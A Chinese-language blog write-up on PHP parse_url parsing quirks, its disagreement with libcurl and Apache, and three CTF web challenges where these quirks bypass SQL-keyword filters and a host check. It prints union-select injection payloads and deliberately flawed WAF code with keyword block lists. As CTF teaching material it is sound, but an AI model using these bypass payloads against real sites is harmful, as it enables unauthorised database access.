parse_url小结

本篇文章对parse_url进行一个小结

0x01：parse_url

$url = "/baidu.com:80";
$url1 = "/baidu.com:80a";
$url2 = "//pupiles.com/about:1234";
$url3 = "//baidu.com:80a";

var_dump(parse_url($url));
var_dump(parse_url($url1));
var_dump(parse_url($url2));
var_dump(parse_url($url3));

执行以上代码：，将得到下面的结果

/home/tr1ple/exp.php:7:
bool(false)
/home/tr1ple/exp.php:8:
array(1) {
  'path' =>
  string(14) "/baidu.com:80a"
}
/home/tr1ple/exp.php:9:
array(3) {
  'host' =>
  string(11) "pupiles.com"
  'port' =>
  int(1234)
  'path' =>
  string(11) "/about:1234"
}
/home/tr1ple/exp.php:10:
array(2) {
  'host' =>
  string(9) "baidu.com"
  'port' =>
  int(80)
}

$url4 = "//upload?/test/";
$url5 = "//upload?/1=1&id=1";
$url6 = "///upload?id=1";

var_dump(parse_url($url4));
var_dump(parse_url($url5));
var_dump(parse_url($url6));

将输出：

/home/tr1ple/exp.php:6:
array(2) {
  'host' =>
  string(6) "upload"
  'query' =>
  string(6) "/test/"
}
/home/tr1ple/exp.php:7:
array(2) {
  'host' =>
  string(6) "upload"
  'query' =>
  string(9) "/1=1&id=1"
}
/home/tr1ple/exp.php:8:
bool(false)

1.//upload?如果是//，则被解析成host, 后面的内容如果有/,被解析出path，而不是query了

2.如果path部分为///，则解析错误

感想：在实际上bypass的时候可以根据自己的目的多测试，去测试程序解析的反应

parse_url一般会用来解析$SERVER变量，其中几个变量如下所示：

echo $_SERVER['REQUEST_URI']."<br/>";
echo $_SERVER['QUERY_STRING']."<br/>";
echo $_SERVER['HTTP_HOST']."<br/>";

#访问http://localhost:3000/php/audit/5/parse1.php?url=baidu.com#test
>>>
/php/audit/5/parse1.php?url=/baidu.com
url=/baidu.com
localhost:3000

REQUEST_URI 是path+query部分(不包含fragment)
QUERY_STRING: 主要是key=value部分
HTTP_HOST 是 netloc+port 部分。

curl和parse_url解析不一致：

curl:

curl里面，如果使用file协议的话，不管host是什么，都会尝试在本地的path中寻找，所以能用file读取本地文件时对host检查是没用的

完整url: scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]
这里仅讨论url中不含'?'的情况

php parse_url：
host: 匹配最后一个@后面符合格式的host

libcurl：
host：匹配第一个@后面符合格式的host

如：

http://u:p@a.com:80@b.com/

php解析结果：
    schema: http 
    host: b.com
    user: u
    pass: p@a.com:80
libcurl解析结果：
    schema: http
    host: a.com
    user: u
    pass: p
    port: 80
    后面的@b.com/会被忽略掉

tricks：

1.2017swpu的一道web题

<?php
error_reporting(0);
$_POST=Add_S($_POST);
$_GET=Add_S($_GET);
$_COOKIE=Add_S($_COOKIE);
$_REQUEST=Add_S($_REQUEST);
function Add_S($array){
    foreach($array as $key=>$value){
        if(!is_array($value)){          
            $check= preg_match('/regexp|like|and|"|%|insert|update|delete|union|into|load_file|outfile|/*/i', $value);
            if($check)
                {
                exit("Stop hacking by using SQL injection!");
            }
        }else{
            $array[$key]=Add_S($array[$key]); 
        }
    }
return $array;
}
function check_url()
{
    $url=parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    $key_word=array("select","from","for","like");
    foreach($query as $key)
    {
        foreach($key_word as $value)
        {
            if(preg_match("/".$value."/",strtolower($key)))
            {
                die("Stop hacking by using SQL injection!");
            }
        }
    }
}
?>

我们关注这里的check_url()函数，首先使用parse_url获取 $_SERVER['REQUEST_URI'], 而正常的注入payload比如:

http://localhost///web/trick1/parse.php?sql=select

将会被检测到注入，然而parse_url函数在解析url的时候存在bug，通过///x.php?key=value的方式将返回false，此时将不再进入foreach循环进行判断，

所以可以进行注入，今年的全国大学生信息安全竞赛初赛就出过这一个trick，先绕过parse，然后再反序列化==，做题时当时卡到这了，遇到卡住的点可能就是需要去绕过的点！

2.题目来自2016asisctf的一道web题

<?php 
function waf(){
    $INFO = parse_url($_SERVER['REQUEST_URI']);
    var_dump($INFO);
    var_dump($_GET);
    parse_str($INFO['query'], $query);
    $filter = ["union", "select", "information_schema", "from"];
    foreach($query as $q){
        foreach($filter as $f){
            if (preg_match("/".$f."/i", $q)){ 
                die("attack detected!");
            }
        }
    }

    $sql = "select * from ctf where id='".$_GET['id']."'";
    var_dump($sql);
}
waf();

关注点在$_SERVER['REQUEST_URI'],在parse_解析后，要检测查询的参数里面是否包含sql查询关键字，那么我们是不是可以构造恶意url使parse按照非预期的进行解析，那么的确bypass的过程就是如此神奇。。

payload1：

http://localhost//exp.php?/1=1&id=1' union select 1,2,3#

此时parse_url解析后的REQUEST_URI为：

php7.2测试：

php5.3测试：

解析的不同还和php的版本有关系，那么在5.3的版本中，此时query将为空，那么将绕过过滤，并且此时$_GET方式传递过来的id参数的值正是我们想要的payload，7.2版本是先识别查询符号？,然后把后面的当作查询字符串，而5.3版本是先把url分段，//到/为host，/后为path。参数才是前后端交互的桥梁，用户的不可信数据也正是通过参数进行传递，tricks也正是用来保护参数不被过滤吗，7.2将参数首先提取出来，更注重了参数路径的安全性，越不可信的数据先处理。

payload2：

http://localhost///exp.php?id=1' union select 1,2,3#

php7.2：

 

 从上面两幅图中可以看出，这个payload对5.3和7.2都是适用的，返回false来bypass，id参数中包含的payload依然存在！

3.网鼎杯第三场comein

<?php
ini_set("display_errors",0);
$uri = $_SERVER['REQUEST_URI']; // 请求的uri
var_dump($uri);

if(stripos($uri,".")){   // uri中要么不出现“.” 要么以“.”开头
    die("Unkonw URI.");
}

if(!parse_url($uri,PHP_URL_HOST)){  //尝试解析uri
    $uri = "http://".$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI'];
    var_dump($uri);
}

$host = parse_url($uri,PHP_URL_HOST);  //再次解析uri
var_dump($host);
if($host === "c7f.zhuque.com"){
   echo "flag  sasa";
}

首先要绕过stripos,开头为.即可绕过，第二处使用parse_url来处理uri，即path+query部分，正常的应该是如下图所示，然后第二个if条件将调用parse_url函数对$uri变量进行处理，提取出其中的host信息，但是其中

明显不再包含host头了，所以会拼接上http://，然后再用parse_url进行host的头的提取，其中$_SERVER['REQUEST_URI']是可控的，并且第一个字符应该为点.(在BURP中操作)，然后第三个if条件中提取host头部时，

不能用第二个if条件的拼接的host头，因为后面的部分是我们可以控制的，所以注入一个@符号那么parse_url再次解析的时候将把127.0.0.1.解析成用户名,@符号后面的将解析成要访问的网址，然后@后面改为.@c7f.zhuque.com/，但是此时会bad url,因为apache在解析url时出现了问题，因为我们并没有.@c7f.zhuque.com/这个目录，所以还需要调整paylaod同时满足后端PHP判断和apache的解析，要满足apache的解析，只需要跳到一个存在的文件即可，比如index.php，即此时继续拼接payload，为.@c7f.zhuque.com/..//index.php，/后面的将被解析为path，其中..//，先跳到和.@c7f.zhuque.com同级目录，然后此目录下的/index.php，此时才能满足apache对文件路径的解析，其中../index.php和.././index.php都不行，因为apache拼接出来都找不到index.php这个文件

该漏洞出现的原因是，parse_url函数和apache对地址的解析方式不同。

PHP认为127.0.0.1.是个user，c7f.zhuque.com是真实host

apache认为127.0.0.1是host，.@c7f.zhuque.com/是一个路径，后边..//index.php退回根目录，再访问index.php

参考：

https://skysec.top/2017/12/15/parse-url%E5%87%BD%E6%95%B0%E5%B0%8F%E8%AE%B0/

https://blog.csdn.net/publicStr/article/details/83004265 

https://github.com/jiangsir404/Audit-Learning/blob/master/filter_var%E5%87%BD%E6%95%B0%E7%BC%BA%E9%99%B7.md